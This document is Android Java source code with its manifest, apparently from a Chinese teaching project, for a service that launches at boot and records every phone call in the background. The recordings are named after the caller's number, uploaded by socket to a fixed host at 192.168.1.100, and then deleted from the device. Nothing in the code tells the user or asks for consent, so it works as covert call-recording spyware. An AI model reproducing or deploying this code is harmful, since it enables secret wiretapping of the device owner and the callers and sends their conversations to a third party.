public class PhoneService extends Service { @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { super.onCreate(); TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);//创建电话管理器 telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);//为电话管理器设置电话监听器和监听的状态 } private final class PhoneListener extends PhoneStateListener{ private String incomingNumber; private File file; private MediaRecorder mediaRecorder; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_RINGING://来电 this.incomingNumber = incomingNumber; break; case TelephonyManager.CALL_STATE_OFFHOOK://接通电话 file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp"); mediaRecorder = new MediaRecorder();//创建录音的实例 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//设置录制麦的音 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置文件输出格式 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置音频编码 mediaRecorder.setOutputFile(file.getAbsolutePath());//设置文件输出路径 mediaRecorder.prepare();//准备录音 mediaRecorder.start();//开始录音 break; case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态 if(mediaRecorder != null){ mediaRecorder.stop();//停止录音 mediaRecorder.release();//释放录音对象 mediaRecorder = null; uploadFile(); //上传录音文件 } break; } } catch (Exception e) { e.printStackTrace(); } } private void uploadFile() { new Thread(new Runnable() { public void run() { try { if(file!=null && file.exists()){ Socket socket = new Socket("192.168.1.100", 7878); OutputStream outStream = socket.getOutputStream(); String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n"; outStream.write(head.getBytes()); PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); String response = StreamTool.readLine(inStream); String[] items = response.split(";"); String position = items[1].substring(items[1].indexOf("=")+1); RandomAccessFile fileOutStream = new RandomAccessFile(file, "r"); fileOutStream.seek(Integer.valueOf(position)); byte[] buffer = new byte[1024]; int len = -1; while( (len = fileOutStream.read(buffer)) != -1){ outStream.write(buffer, 0, len); } fileOutStream.close(); outStream.close(); inStream.close(); socket.close(); file.delete(); file = null; } } catch (Exception e) { e.printStackTrace(); } } }).start(); } } }
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.phonelistener" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <!-- 配置服务 --> <service android:name=".PhoneService"/> <!-- 配置广播接收者 --> <receiver android:name=".BootBroadcastReceiver"> <intent-filter > <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> </application> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <!-- 在SDCard中创建与删除文件权限 --> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> <!-- 往SDCard写入数据权限 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <!-- 访问internet权限 --> <uses-permission android:name="android.permission.INTERNET"/> <!-- 录音的权限--> <uses-permission android:name="android.permission.RECORD_AUDIO"/> </manifest>
public class BootBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //在开机的时候显示启动服务 Intent service = new Intent(context, PhoneService.class);//显式/隐式 context.startService(service);//Intent激活组件(Service) } }